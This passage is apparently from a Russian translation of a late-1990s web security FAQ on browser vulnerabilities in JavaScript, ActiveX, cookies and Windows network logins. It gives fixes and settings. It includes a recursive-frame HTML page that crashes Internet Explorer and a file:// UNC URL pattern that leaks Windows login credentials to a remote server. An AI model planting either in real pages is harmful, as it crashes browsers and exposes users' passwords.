JavaScript также решает проблему, и защищает от других лазеек, скорее всего имеющихся в системе JavaScript.

Эта ошибка была обнаружена французским консультантом по программному обеспечению Fernand Portela. На его сервере можно найти более подробную информацию:

http://www.mygale.org/~nando

Перехват файлов на машине клиента (16 октября 1997)

Microsoft Internet Explorer 4.0 для Windows 95/NT подвержен нападению, при котором оператор удаленного узла Web может получать доступ к любому тексту, изображению или файлу HTML, расположенному на вашей машине или файлу на сетевом файловом сервере. Брандмауэры не препятствуют нападению, и нападению подвержены даже браузеры, работающие в режиме "высокой степени защиты" (High Security). Версии IE 4.0 для Macintosh видимо не содержат этой лазейки.

Эта лазейка, обнаруженная немецким консультантом Ralf Hueskes, и известная под названием "Freiburg attack", использует JavaScript для создания невидимой рамки (frame) размером 1x1 пиксел. Пока пользователь просматривает документ, программа на JavaScript, выполняемая в невидимом окне, сканирует локальные и сетевые диски на машине пользователя и ищет файлы с распространенными именами, после чего может передать найденные файлы на любую машину в Internet. Прграмма не может повреждать или удалять файлы на машине пользователя. Исправления, выпущенные Microsoft, можно найти на URL:

http://www.microsoft.com/msdownload/ieplatform/ie4patch/ie4patch.htm

Подробную информацию можно получить на

http://www.jabadoo.de/press/ie4_us_old.html

Возможность наблюдения за действиями пользователя (29 августа 1997)

Ряд родственных ошибок в JavaScript дают возможность получать информацию о том, какие страницы посещает пользователь, перехватывать документы и пересылать их на какой-нибудь сервер в Internet. Некоторые лазейки позволяют получась содержимое заполняемых пользователем форм, перехватывать cookies и получать информацию о другом содержимом просматриваемых страниц. Это может произойти даже в том случае, если пользователь обращается к "защищенным" страницам, зашифрованным с использованием SSL. Это может произойти даже в том случае, если пользователь обращается к страницам в локальной сети, защищенной брандмауэром. Правда, данные и программы на пользовательской машине не могут быть изменены, и опасность состоит только в утечке информации.

Большинство этих лазеек используют возможность JavaScript открывать невидимые окна. Поскольку пользователь не видит окна, то он не знает, что скрипт продолжает работу даже после того, как закрыта страница, с которой он был загружен. Другие варианты открывают новое окно браузера и провоцируют пользователя на просмотр следующих страниц через это окно.

Хотя все время идет работа по исправлению ошибок, овые варианты использования этих возможностей открываются постоянно под разными красивыми именами - "Bell labs bug", "Singapore bug", "Santa Barbara bug." Было выпущено такое большое количество исправлений и вариантов браузеров, что их трудно отследить. Точно известно, что лазейки содержится в следующих браузерах:

- Microsoft Internet Explorer 3.01, Windows 95/NT
- Microsoft Internet Explorer 3.02, Windows 95/NT
- Microsoft Internet Explorer 4.0 Platform Preview, Windows 95/NT

- Netscape Navigator 3.0, 3.01 и 3.02, все платформы
- Netscape Communicator 4.0 и 4.01, все платформы
- Netscape Communicator 4.02, Windows 95/NT

Более подробную информацию по проблеме можно найти на узлах, перечисленных ниже. Ищите там исправления и обновленные версии.

- CERT advisory
- Страницы безопасности Microsoft
- Страницы безопасности Netscape
-

Утечка информации через рамки (frames) (10 июля 1997)

Схожий тип лазеек использует обмен информацией между рамками одного окна браузера. Чтобы осознать проблему представте себе ситуацию, когда разные рамки одного окна используются разными узлами Web. Очевидно, что возможность программы на JavaScript, загруженной с одного сервера, просматривать содержимое страниц, содержащих конфиденциальную информацию и загружаемых с другого сервера, крайне нежелательна.

JavaScript оставляет открытыми некоторые лазейки. JavaScript не может получить адрес документа, полученного с другого сервера, но **может** иметь доступ к следующей информации:

- Адреса файлов с изображениями, включенные в документ
- Другую информацию о включенных изображениях, такую как их размеры
- Адреса всех апплетов
- Адреса всех элементов ActiveX

Это значит, что страница на JavaScript может обманом заставить вас оставить окно открытым и молчаливо наблюдать за вашей активностью, собирая информацию о местонахождении картинок в документах, которые вы просматриваете. И не так уж важно, что адреса самих документов остаются недоступными - большинство изображений в WWW хранятся там же, где сами документы.

Демонстрацию этой лазейки можно найти по адресу: http://www.genome.wi.mit.edu/~lstein/crossframes. Хотя эта страница собирает информацию об изображениях только из одного документа, имейте в виду, что возможно перехватывать **все** адреса просматриваемых вами картинок и загружать их на удаленный сервер.

Эта лазейка содержится в Netscape Navigator 3.0, 3.01 и Netscape Communicator 4.01. Она закрыта в версиях 4.02 и 3.03. Она *не* затрагивает Navigator 2.X и Internet Explorer.

Лазейка для загрузки файла (25 июня 1997г.)

Ошибка в Netscape Navigator в части обработки форм ввода, хотя и не имеет прямого отношения к JavaScript, позволяет тем не менее программе на JavaScript заставить браузер передать на сервер любой файл с диска пользователя. Пользователь не узнает о том, что передача файла имела место, если у него не отмечен пункт "Warn before Submitting a Form Insecurely" ("Предупреждать о небезопасной передаче форм ввода") в окне диалога Security Options. Даже если этот пункт отмечен, предупреждение не появится, если удаленный сервер использует SSL или если используется "безопасное" соединение.

Для использования этой ошибки удаленный сервер должен заранее знать имя файла на машине пользователя. Тем не менее, проблема остается серьезной, поскольку большое количество важной информации, включая системные пароли, хранится в файлах с хорошо известными именами.

Netscape Navigator 2.0, 3.0, 3.01 и Netscape Communicator 4.0 - все содержат эту ошибку. Netscape Communicator 4.01, выпущенный 21 июня, содержит исправление этой ошибки. Версия 3.02 Netscape Navigator тоже не должна содержать этой ошибки. Последние версии браузеров можно найти на сервере Netscape.

Старые лазейки

Следующие проблемы имеются в Netscape версий 2.0 и 2.01. Они были обнаружены и опубликованы John Robert LoVerso из OSF Research Institute (mailto:loverso@osf.org):

1. Программы на JavaScript могут заставить пользователя передать файл с его локального или сетевого диска на любую машину в Internet. Хотя пользователю необходимо нажать кнопку для передачи файла, эта кнопка легко может быть замаскирована под чно-нибудь безобидное. Ни до, ни после передачи не появится каких-либо сообщений о том, что произошло. Это большая опасность для систем, использующих файл паролей для контроля доступа, поскольку украденный файл паролей может быть легко взломан.
2. Программы на JavaScript могут получать списки содержимого директориев на локальном диске пользователя или на сетевых дисках. Это угрожает как личности пользователя, так и безопасности системы, поскольку знание об организации машины является большим подспорьем на пути проникновения в нее.
3. Программы на JavaScript могут перехватывать URL, которые посещает пользователь, и пересылать их на удаленный сервер. Передача требует вмешательства пользователя, но, как и в первом примере, вмешательство может быть скрыто от пользователя.
4. Программы на JavaScripts могут заставить Netscape Navigator посылать сообщения e-mail без вмешательства со стороны пользователя и без его информирования. Это может быть использовано для выяснения адреса e-mail пользователя.

Описания этих ошибок можно найти на сервере:
`http://www.osf.org/~loverso/javascript/`

Эти ошибки в JavaScript были исправлены в Netscape Navigator версии 3.0 и более поздних. Исключением является лазейка с e-mail адресом, которая была закрыта в версии 2.01, но опять появилась в версии 3.0. Она опять была закрыта в версии 3.01, которая предлагает в диалоге *Network & Security Options* (настройки сети и безопасности) предупреждать вас перед отсылкой электронной почты от вашего имени. Microsoft Internet Explorer, поддерживающий диалект JavaScript, имеет сходный пункт в окне *Options* (параметры).

Заключение

JavaScript содержит лазейки в безопасности. Многие из них были обнаружены. Несомненно, существуют еще неизвестные. Те, кого это беспокоит, могут полностью выключать использование JavaScript. В Netscape Navigator 2.X-3.X это можно сделать сняв метку в *Options->Network Preferences->Languages*. В Microsoft Internet Explorer 3.X нужно снять метку с квадратика с обманным названием *Run ActiveX scripts* (выполнять скрипты ActiveX) в *View->Options->Security*.

В Microsoft Internet Explorer 4.0 новое понятие "зоны безопасности" (Security Zones), призванное сделать Internrt безопаснее, на самом деле делает задачу отключения JavaScript более трудной, поскольку язык остается активным при выборе "высокой степени защиты" (High Security). Для его выключения следует пойти в меню *View->Internet Options->Internet Security* и выбрать "Internet Zone". Теперь нужно выбрать переключатель, отмеченный "Custom", и нажать расположенную рядом кнопку "Settings...". Затем нужно выключить "Active Scripting" в конце списка.

В Netscape Navigator 4.0 следует следовать процедуре, приведенной для выключения Java.

B65: Что такое ActiveX? Есть ли здесь риск?

ActiveX - это технология, разработанная Microsoft Corporation для распространения программного обеспечения через Internet. Как и апплеты Java, управляющие элементы ("control") ActiveX могут быть включены в документы Web, где они обычно выглядят как "разумные" интерактивные рисунки. Существует определенное колиество доступных управляющих элементов для Microsoft Internet Explorer (в настоящее время - единственный браузер, который их поддерживает), в том числе - элемент прокрутки, фоновый звуковой генератор, управляющий элемент для запуска апплетов Java. В отличие от Java, платформо-независимого языка программирования, управляющие элементы ActiveX распространяются как двоичные файлы, и должны быть специально откомпилированы для каждой машины и операционной системы.

Модель безопасности ActiveX сильно отличается от того, что используется в апплетах Java. Java добивается безопасности ограничивая возможности программы выполнением только безопасных действий. Напротив, ActiveX не вводит ограничений на то, что может делать управляющий элемент. Вместо этого каждый управляющий элемент должен иметь цифровую "подпись" автора, распознаваемую системой "Authenticode". Подписи утверждаются доверенными "утверждающими организациями", такими, как VeriSign. Имея утвержденную подпись, разработчик обязуется не включать в свои программы вирусов и других вредных вещей. Если вы загрузили подписанный управляющий элемент ActiveX, и он порушил вашу машину, то вам известно, по крайней мере, кого в этом винить.

Эта модель полностью перекладывает ответственность за безопасность компьютероной системы на плечи пользователя. Перед загрузкой управляющего элемента, который не имеет подписи, или имеет подпись, но она подтверждена неизвестной организацией, браузер выводит предупреждение, что это действие может быть небезопасным. Пользователь может отказаться от загрузки документа, или рискнуть продолжить.

Процесс подтверждения гарантирует, что управляющий элемент ActiveX не может распространяться анонимно, и что в процесс его распространения не могут включиться посторонние. Однако, процесс *не* дает гарантии, что элемент будет вести себя правильно. Хотя и маловероятно, что подписанный и подтвержденный управляющий элемент будет производить вредные действия, но это возможно. Например, программист Fred McLain (mclain@halcyon.com) выпустил недавно управляющий элемент ActiveX под названием Exploder. Этот элемент, будучи полностью подписанным и подтвержденным, производит остановку любой машины под управлением Windows 95, которая его загружает. выключение происходит вскоре после того, как пользователь просматривает страницу, содержащую элемент Exploder (необходимо использовать Internet Explorer 3.0 или более поздний). Узнав о Exploder, Microsoft и Verisign совместно отозвали подтвержденную подпись Fred McLain, утверждая, что он нарушил соглашение, заключенное при выдаче удостоверения. Поэтому при использовании последних версий Internet Explorer вы увидите сообщение о том, что подпись недействительна.

Хотя Exploder не вызывает повреждения данных, могут появиться и менее безобидные управляющие элементы, форматирующие диски пользователя, или запускающие вирусов в его машину. На самом деле, ряд весьма вредных управляющих элементов ActiveX были созданы и распространены Chaos Computer Club (CCC) из Гамбурга, Германия. Они все не имеют подписи, что значит, что при обычной настройке Internet Explorer предупредит пользователя об опасности. Однако неосторожный пользователь, изменивший настройку Internet Explorer на "низкую безопасность" (Low Security), или согласившийся загрузить и выполнить управляющий элемент не смотря на предупреждение, подвергнется таким образом нападению.

Основная проблема в модели безопасности ActiveX состоит в том, что представляется трудным отследить управляющий элемент, совершающий нежелательные действия - например, спокойно передающий конфиденциальную информацию о конфигурации машины пользователя на удаленный сервер, или заражающий локальную сеть вирусом, или даже изменяющий Internet Explorer так, что его механизм проверки кода не будет правильно работать. Дейсвия такого рода могут быть либо совсем не замечены, либо оставаться незамеченными долгое время. Даже если повреждение замечено быстро, у Internet Explorer нет механизмов, позволяющих определить, какие контрольные элементы были загружены. Это делает весьма трудной задачу определения того, какой именно элемент ActiveX нанес вред вашей машине.

ActiveX можно выключить полностью через меню *Internet Options->Security* в Microsoft Internet Explorer. Для полного выключения ActiveX выберите "высокую степень защиты" (High Security), для получения предупреждения перед запуском управляющих элементов - "среднюю степень защиты" (Medium Security). Если вы решили запустить управляющий элемент, то внимательно изучите его и тщательно зафиксируйте на бумаге его имя, автора, дату и время загрузки. Не сохраняйте эту информацию на диске, поскольку его содержимое легко может быть уничтожено самим элементом. "Низкий уровень безопасности" (Low Security) позволяет запускать элементы ActiveX без предупреждения и независимо от наличия подписи и, таким образом, не рекомендуется к использованию.

IE 4.0 позволяет различать управляющие элементы в зависимости от того, получены они с сервера в Internet, сервера в локальной сети или с сервера из специального списка узлов, пользующихся или не пользующихся доверием.

B66: Превносят ли "Cookie" какой-либо риск?

В этом разделе Вы найдете объяснение того, что такое Cookie и какие проблемы безопасности могут быть с ними связаны.

Что такое cookie

"Cookie" ("печенье") - это механизм, разработанный Netscape Corporation для преодоления статической природы протокола HTTP. В нормальной ситуации каждый раз, когда браузер обращается за документом на сервер, запрос обрабатывается как совершенно новое соединение. Тот факт, что запролс может быть лишь одним из многих запросов, сделанных пользователем в ходе просмотра всего дерева документов на сервере, оказывается незафиксированным. Хотя это делает систему Web более эффективной, статическая природа протокола затрудняет реализацию таких вещей, как система учета покупок в магазине, которые требуют отслеживания истории действий клиента в течение продолжительного времени.

Cookie позволяют решить эту проблему. Cookie - это маленький кусочек информации, часто не более чем короткий номер соединения, который сервер посылает браузеру при первом контакте. В дальнейшем браузер посылает серверу копию cookie при каждом соединении. Обычно cookie используются сервером для идентификации пользователя и поддержания иллюзии сохранения соединения при просмотре многих страниц. Поскольку cookie не являются частью спецификации стандарта HTTP, они поддерживаются только некоторыми браузерами - в настоящее время - Internrt Explorer версии 3.0 и более поздние и Netscape Navigator 2.0 и более поздние. Сервер и/или скрипты CGI на нем также должны поддерживать cookie для возможности их использования.

Cookie имеют атрибуты, сообщающие браузеру, на какой сервер их следует отправлять. Атрибут "domain" говорит о том, какому серверу нужно передать cookie, а "path" - какому URL на этом сервере cookie соответствует. Например, значение "megacorp.com" в domain и "/users" в path говорят браузеру, что посылать cookie следует на серверы с именами вроде www.megacorp.com и ftp.megacorp.com и только в том случае, когда путь к файлу начинается с "/users". С точки зрения безопасности важно, что значение domain не может соответствовать домену высокого уровня, например ".com". Это предотвращает создание таких cookie, которые будут рассылаться любому серверу.

cookie и частная жизнь

Cookie не могут быть использованы с целью "воровства" информации о вас или вашей компьютерной системе. Они могут быть использованы только для сбора информации, которую вы сами тем или иным образом предоставляете. Для примера - если вы заполняете какую-нибудь форму ввода и указываете ваш любимый цвет, сервер может преобразовать эту информацию в cookie послать обратно вашему браузеру. При следующем соединении с сервером браузер вернет cookie, и сервер сможет установить фоновый цвет своих страниц в соответствии с вашими вкусами.

Однако, cookie могут быть использованы и менее безобидным образом. Каждое ваше обращение к серверу Web оставляет о вас нгекоторую информацию, создавая сеть данных о вас в Internet. Среди всех этих кусочков информации присутствуют такие данные, как IP адрес вашего компьютера, марка используемого вами браузера, используемая вами операционная система, адрес просматриваемой страницы и адрес той страницы, которую вы просматривали перед обращением. Без механизма cookie было бы практически невозможно систематически отслеживать эту информацию и изучать ваше поведение как пользователя Web. Для этого потребовалось бы сравнение тысяч файлов трассировки на множестве серверов WWW. С использованием cookie ситуация сильно меняется.

DoubleClick Network представляет собой систему, созданную фирмой DoubleClick Corporation для сбора данных о пользователях Web и предоставления им рекламных заставок, подобранных в соответствии с их вкусами. Основные клиенты DoubleClick - серверы Web, ищущие возможности рекламы своих услуг. Каждый член сети DoubleClick становится сервером, рекламирующим других членов системы. Становясь членом DoubleClick, узел WWW создает рекламные материалы для своих услуг и предоставляет их на сервер DoubleClick. Узел затем редактирует свои страницы HTML и добавляет элементы <IMG>, ссылающиеся на сервер DoubleClick. Когда пользователь открывает одну из иодифицированных страниц, его браузер обращается к серверу DoubleClick для получения картинки. Сервер выбирает картинку из тех, которые предоставлены членами сети, и передает ее на браузер. При повторной загрузке страницы появляется другая картинка. Если пользователь выбирает рекламную картинку, то он попадает на узел соответствующего клиента DoubleClick. В настоящее время эта система включает многие сотни членов.

С точки зрения пользователя, реклама DoubleClick ничем не отличается от любой другой рекламы в WWW, и картинка ничем не отличается от других картинок. Однако разница есть. При первом обращении к серверу DoubleClick браузер получает cookie с уникальным номером. С этого момента, при *каждом* обращении к серверу, входящему в сеть DoubleClick, браузер возвращает серверу DoubleClick cookie, позволяющий узнать пользователя. Через некоторое время сервер собирает список тех узлов, которые посещает пользователь, и создает записи, отражающие вкусы и привычки пользователя. Обладая этой информацией, сервер DoubleClick теперь выбирает те рекламы, которые с большей вероятностью могут представлять интерес для пользователя. Имеется возможность также собирать информацию, представляющую интерес для узлов - членов сети, такую, как оценка эффективности рекламы.

Хотя имена и адреса электронной почты **не** попадают в записи сервера DoubleClick, другая сохраняемая информация обычно достаточна для идентификации пользователя. Более подробно см. раздел Файлы

трассировки и личная информация. По этой причине многим не нравится то, как DoubleClick использует cookie. Для определения того, были ли вы записаны на этом сервере, проверте файл cookie вашего браузера. В системах Unix, использующих Netscape, файл находится в вашем директории и имеет имя `~/.netscape/cookies`. Если там есть строка вроде этой:

```
ad.doubleclick.net FALSE / FALSE 942195440 IAA d2bbd5
```

то у вас есть cookie от DoubleClick.

Пользователи Windows могут найти подобную информацию в файле `cookies.txt`, расположенном в директории `C:\Programs\Netscape\Navigator`, пользователи Macintosh могут посмотреть в системном каталоге под пунктом `Preferences:Netscape`. Пользователи Microsoft Internet Explorer должны обратиться к файлу `C:\Windows\Cookies`.

Текущие версии и Netscape Navigator, и Internet Explorer имеют возможность выводить предупреждение пользователю каждый раз, когда сервер посылает браузеру cookie. Если вы включили это предупреждение, то у вас будет возможность отказаться от приема cookie. вам придется также удалить все уже собранные cookie; для этого проще всего просто стереть файл, хранящий их.

Недостаток этой схемы заключается в том, что многие серверы будут упорно предлягать cookie при каждом новом соединении даже после того, как вы отказались от приема cookie первый раз, что очень быстро надоедает. Прежде чем паниковать по поводу cookie стоит вспомнить, что основная масса cookie предстьавляет собой попытки повысить ваш комфорт в WWW, а не нарушить ваши личные права. Netscape Navigator 4.0 предоставляет новую возможность - отказываться от приема cookie, принадлежащего не тому узлу, на котором находится главная просматриваемая вами страница. Это отсекает большинство схем, подобных DoubleClick. Для использования этой возможности выберите *Edit->Preferences->Advanced* и установите соответствующим образом переключатель в разделе cookies.

Некоторые пользователи могут иметь желание разрешить нерезидентные cookie (те, которые сохраняются только в течение текущего соединения) и запретить постоянные (хранящиеся между сеансами длительное время). В системах Unix для этого достаточно создать ссылку, связывающую устройство */dev/null* и файл cookies. Пользователи других операционных систем могут быть вынуждены использовать для этого програмные продукты третих фирм, перехватывающие cookie. Вот список таких программ:

NSClean, IEClean
: Windows 95/NT программы, стирающие содержимое файлов с cookie.
http://www.nsclean.com/

InterMute (Windows, Macintosh, Unix)
: Анонимизирующий представитель (proxy), удаляющий cookie и другую идентифицирующую информацию из ваших обращений к URL. Запускается как аплет Java в браузере.
http://www.intermute.com/

Internet Junkbuster Proxy (Unix)
: Анонимизирующий представитель (proxy), удаляющий cookie и другую идентифицирующую информацию из ваших обращений к URL.
http://internet.junkbuster.com/

cookie и безопасность системы

В дополнение к проблемам защиты частной жизни, cookie затрагивают и область защиты информации. Многие узлы используют cookie для реализации различных схем контроля доступа. Например, узел, на котором доступ контролируется по имени пользователя и паролю, может послать вам cookie при первом соединении. После этого сервер даст Вам доступ к защищенным страницам в том случае, если браузер

может вернуть правильный cookie, используя их как билет для доступа. Это дает серверу ряд удобств, не последнее из которых - отсутствие необходимости поиска имени пользователя и пароля в базе данных при каждом обращении.

Однако, если такая система построена не вполне аккуратно, она может быть использована третьими лицами. Например, ваш cookie может быть перехвачен по пути от браузера к серверу и использован для получения несанкционированного доступа к данным. Поскольку браузер использует систему имен доменов (DNS) для идентификации сервера, существует возможность заставить браузер послать cookie на неправильный сервер, временно нарушив систему DNS. Конечно, если cookie долгоживущие, то их можно просто украсть с жесткого диска машины пользователя.

Теперь рассмотрим системы, использующие cookie в качестве идентификатора сессии для сохранения информации между соединениями при многоступенчатых транзакциях. Примерами таких систем могут быь системы доступа к корпоративным базам данных, системы заказа покупок по сети, банковские клиентские системы. Если не соблюдать осторожность, то злоумышленник может перехватить cookie и использовать их для осуществления несанкционированных действий.

Разработчики систем, использующих cookie, должны учитывать возможность их перехвата. Cookie всегда должны содержать как можно меньше информации частного характера. В частности, cookie *никогда* не должны содержать имен пользователей и паролей в открытой форме. В условиях ISP, когда на сервере расположено много пользователей, следует указывать как можно более подробное значение в path. Например, если программа, использующая cookie, расположена на URL *http://bigISP.com/users/fred/orders.cgi*, то разработчику следует установить значение path в */users/fred/orders.cgi*, а не более общий путь */*.

Если возможно, cookie должны содержать информацию, подтверждающую права пользователя на их использование. Популярная схема состоит во включении следующей информации:

1. Идентификатор сессии
2. дата и время выпуска cookie
3. время "годности"
4. IP адрес браузера, которому был выдан cookie
5. код MAC (message authenticity check)

Ограничивая время жизни cookie, разработчик уменьшает размер потенциального ущерба, который может быть вызван cookie, возможность использования его после перехвата оказывается ограниченной во времени. Включение IP адреса позволит принимать cookie только в том случае, если адрес совпадает в адресом посылающего браузера. Использование ворованного cookie в этом случае затрудняется, поскольку замазывание IP адреса - трудная (хотя и не невозможная) задача.

Код MAC присутствует здесь для того, чтобыиметь уверенность в сохранности информации в cookie. Существует множество способов вычисления MAC, большинство из которых основано на алгоритмах вычисления однонаправленных хэш-функций, таких, как MD5 или SHA, с целью получения уникальных "отпечатков пальцев" для данных, содержащихся в cookie. Вот пример простой, но относительно надежной техники, использующей MD5:

```
MAC = MD5("идентификатор сессии" + "дата создания" +
          "срок годности" + "IP адрес" +
          "секретный ключ")
```

Данный алгоритм сперва производит объединение всех полей cookie в единую строку, после чего добавляет к ней секретный ключ, известный только серверу. Вся строка затем используется для вычисления хэш-функции. Полученное значение добавляется к данным, содержащимся в cookie.

Позднее, когда cookie возвращается на сервер, сервер должен удостовериться, что срок годности не истек, и что cookie отправлены с корректного адреса IP. Затем необходимо вычислить MAC для полей данных и сравнить его с тем, который содержится в cookie. Если они совпадают, то шансы того, что cookie использован неправильно, оказываются достаточно низкими.

Другим способом может быть шифрование целого cookie с использованием алгоритма, подобного DES, IDEA или RC4. Для получения информации по алгоритмам шифрования и хэш-функциям, см. ссылки по криптографии в конце этого документа.

При разработке критических приложений может оказаться разумным полностью шифровать канал между сервером и браузером с использованием SSL. Cookie окажутся зашифрованными вместе со всей остальной информацией таким образом, что их перехват станет возможным только после взлома алгоритма шифрования. Для избежания ошибочной посылки cookie через нешифруемое соединение, разработчик должен выставить флаг "secure", чтобы браузер посылал cookie только в случаях, когда для соединения используется SSL.

B67: Может ли браузер Web выдать ваше имя и пароль в локальной сети?

Для пользователей Windows 95, WFWG и Windows NT ответ - да. Нехорошие серверы могут заставить Internet Explorer или Netscape Navigator выдать имя, которое вы использовали для входа в локальную сеть вашей организации. Можно заставить браузер выдать и ваш пароль в зашифрованной форме, который часто можно расшифровать путем "словарной атаки". Это большая проблема как для вас, так и для вашей организации, поскольку с того момента, как ваше имя и пароль стали известны, постороний хакер может использовать их для проникновения в вашу локальную сеть с целью украдывания или повреждения файлов. Конечно, это возможно только тогда, когда ваша локальная сеть не защищена от проникновения такого рода *правильно* настроенным брандмауэром.

Если злоумышленникам удается повредить систему в вашей организации, то повреждения будут выглядеть так, как будто они вызваны *вами*, и вам придется объясняться с ответственными людьми. Даже если вы не соединены с локальной сетью, вам есть о чем беспокоиться. Если в какой-то момент вы включили механизм сетевого доступа к файлам Windows, то ваши личные файлы могут быть украдены в те периоды времени, когда вы соединены с Internet через вашего провайдера.

Всего было найдено три схожих ошибки. Сообщение о первой было сделано Aaron Spanger 14 марта 1997 года, и она остается не исправленой до настоящего времени. Она присутствует в Internet Explorer версии 3.01 и более ранних (включая версии с исправлениями Microsoft) для Windows 95, Windows NT и Windows 97. Netscape Navigator 3.01 (как обычный, так и gold) и Netscape Communicator beta2 также имеют эту лазейку при работе под Windows NT и под некоторыми, но не всеми системами Windows 95 (результаты противоречивы). Подробное описание и демонстрацию ошибки можно найти по адресу:

http://www.ee.washington.edu/computing/iebug/

Вторая ошибка, найденая Paul Ashton по следам первой, затрагивает IE (версия 3.01 и ниже), выполняемый под Windows NT 3.51/4.0 (как сервер, так и рабочая станция). Ее описание доступно по адресу:

http://www.efsl.com/security/ntie/

Следующая ошибка, описанная 17 марта 1997 года Steve Birnbaum, затрагивает Microsoft Internet Explorer (версии 3.01 и более ранние) при работе под Windows 95. Описание см. на

http://www.security.org.il/msnetbreak/

Все эти ошибки затрагивают механизм проверки пользователя "вызов/ответ" (challenge/responce), используемый Microsoft для доступа к файлам. Вот несколько упрощенное описание. Когда клиент пытается связаться с сервером (будь то сервер печати, сервер www или файловый сервер), сервер посылает клиенту короткую случайную строку - "nonce". Клиент кодирует строку с использованием пользовательского пароля и посылает обратно на сервер кодированную строку, имя пользователя и другую идентификационную информацию. Сервер проверяет наличие имени пользователя в своей собственной базе данных пользователей, находит там пароль пользователя и кодирует строку nonce с использованием этого пароля. Результат кодирования сравнивается с тем, что получено от клиента, и если они совпадают, то сервер убеждается в том, что пользователь знает пароль, избегая при этом передачи пароля по сети. Заметте, что при этом шифруемая информация не является тайной, а пароль используется как ключ для шифровки.

Если браузер IE или Netscape встречает URL вида

```
file://\\aa.bb.cc.ddd\путь\к\файлу
```

(где "aa.bb.cc.dd" - адрес удаленного сервера в Internet), то он пытается получить доступ к файлу так, как если бы этот файл находился на машине в локальной сети, и пытается идентифицировать себя через механизм "вызов/ответ". Все это происходит без оповещения пользователя.

При атаке с целью выяснения пароля, сервер работает под управлением специально модифицированной версии файлового сервера Windows, которая использует вместо случайной строки вызова постоянную. Ваш компьютер доверчиво шифрует строку вашим паролем и посылает ее обратно. Сервер теперь спокойно может сравнить присланную строку с базой данных, содержащей десятки тысяч вариантов шифрования этой строки с использованием различных паролей. Если совпадение найдено, то ваш пароль оказывается раскрытым (это называется "словарная атака"). Поскольку многие люди выбирают легко запоминающиеся пароли, средний пароль часто может быть взломан посредством хорошей словарной атаки. Даже если ваш пароль остается не найденым, сервер получит о вас много полезной информации - имя компьютера, имя пользователя, имя домена Windows. Поскольку исходные тексты программ Unix, рефлизующих механизм доступа к файлам Windows, легко доступны, то задача создания модифицированного сервера не представляет больших трудностей.

В случае лазейки, найденой Steve Birnbaum, пароль оказывается даже не зашифрованным, а передается на сервер в текстовом виде. Происходит это потому, что Windows 95 используют менее сложную систему верификации пользователя.

Как вы можете узнать, что ваш пароль был украден таким образом? А никак. "Вредный" адрес может быть замаскирован как обычное изображение. Если вы не будете смотреть исходный текст документа на HTML, то вы не отличите картинку от любой другой картинки в Web. Пользователи, использующие другие операционные системы, увидят изображение "поврежденной картинки" - нечто, что редко вызывает подозрения.

Что можно сделать, чтобы избежать этой проблемы? Мало что можно сделать до того, как Microsoft и Netscape исправят ошибки в программах. Наилучший способ - выбор хорошего пароля. Выбирайте длинные пароли, которые трудно угадать. Один из подходов состоит в том, чтобы выбрать фразу, имеющую смысл для вас, но не для других, например:

blue wire chair too cold in AM (синий проволочный стул слишком холоден утром)

Теперь возьмите первые (или третьи, или последние) буквы каждого слова для составления пароля - **bwctciA**. Не передавайте этот пароль никому и используйте его только для входа в локальную сеть.

B68: Известны ли какие-либо проблемы в Microsoft Internet Explorer?

Существует множество лазеек в Internet Explorer, связанных с подсистемами JavaScript, Java и ActiveX. Этих рисков можно избежать, выключив соответствующие функции в настройках программы. В этом разделе обсуждаются проблемы, относящиеся к ядру программы и не имеющие такого простого решения.

Ошибки переполнения буферов, версии 4.0, 4.01

Microsoft Internet Explorer 4.0 и 4.01 (версии для систем Windows 95, Windows NT, Macintosh и Unix) содержит ряд проблем в коде обработки определенных выражений HTML. Опытный разработчик может вызвать сбои программы при обращении к определенным страницам или при просмотре изображений. Конкретно - проблема состоит в резервировании фиксированной области памяти, называемой буфером, для хранения URL или других элементов HTML. При обработке элемента, имеющего размер больший, чем размер отведенного для его хранения буфера, происходит переполнение буфера и программа вызывает системную ошибку. Это - наиболее обычная ошибка программирования, она является причиной многих известных проблем в скриптах CGI и серверах Web. Подробнее - см. безопасное программирование CGI.

Ошибка многократно возрождалась начиная с января года 1998. Первая инкарнация, названная ошибкой "mk", использует URL типа "mk:", запускающие систему помощи (help) Microsoft. Ошибка была исправлена, однако вскоре появился новый вариант. Затем, в апреле 1998 года, была найдена ошибка в части обработки элемента <EMBED> .

Ошибки такого рода могут приводить к серьезным последствиям. Они могут быть использованы для выполнения произвольного программного кода на Вашем компьютере без Вашего ведома. Проограмма может делать все - устанавливать вирусы, разрушать Ваши файлы, изменять браузер для открытия других путей проникновения в систему. Ошибка не зависит от повышения уровня безопасности или выключения активных документов. К счастью, исправления для всех известных к настоящему времени лазеек можно получить на сервере Microsoft, URL http://www.microsoft.com/security/. Если вы используете любую версию Internet Explorer по 4.01, вам необходимо получить исправления и установить их. Другой вариант действий - вернуться к версии Internet Explorer 3.02, которая использовалась дольше и в которой не было найдено столь серьезных лазеек.

Подробную информацию об ошибках можно получить по адресу

http://l0pht.com/advisories/

Ошибка рекурсивных рамок, версии 4.0-4.01 (апрель 1998)

Microsoft Internet Explorer некорректно определяет и обрабатывает "рекурсивные" рамки (frames). Для объяснения того, что это такое, рассмотрим файл HTML имеющий имя *recursive.htm*. Файл содержит код, подобный такому:

```
<HTML>
<FRAMESET COLS="*,*">
   <FRAME SRC="recursive.htm">
   <FRAME SRC="recursive.htm">
</FRAMESET>
```

```
</HTML>
```

Страница содержит два прилежащих окна, каждое из которых ссылается на тот же самый документ. Когда Internet Explorer обнаруживает подобный документ, он пытается загрузить файл в каждую из рамок. Затем он создает по две новых рамки в каждой предыдущей, и так до бесконечности, вернее - пока хватает памяти, после чего происходит системный сбой.

Эта ошибка может быть использована для вызова сбоев, но не нарушает безопасности в других областях. Сообщалось о том, что некоторые версии Netscape Navigator также содержат эту ошибку, однако версии 4.0X, судя по всему, ее не содержат.

"Ошибка ярлыков" (Shortcut Bug), версии 3.01 и более ранние

Наряду с лазейкой для пароля локальной сети, версии 3.01 и более ранние программы Microsoft Internet Explorer содержат серьезную ошибку, позволяющую инициировать выполнение произвольной команды на вашем компьютере. Может быть сделано все, что угодно, вплоть до и включая уничтожение содержимого вашего жесткого диска. вам надо просто выбрать ссылку на соответствующий документ. Печально, что эта лазейка может быть использована людьми, не имеющими особого опыта в программировании.

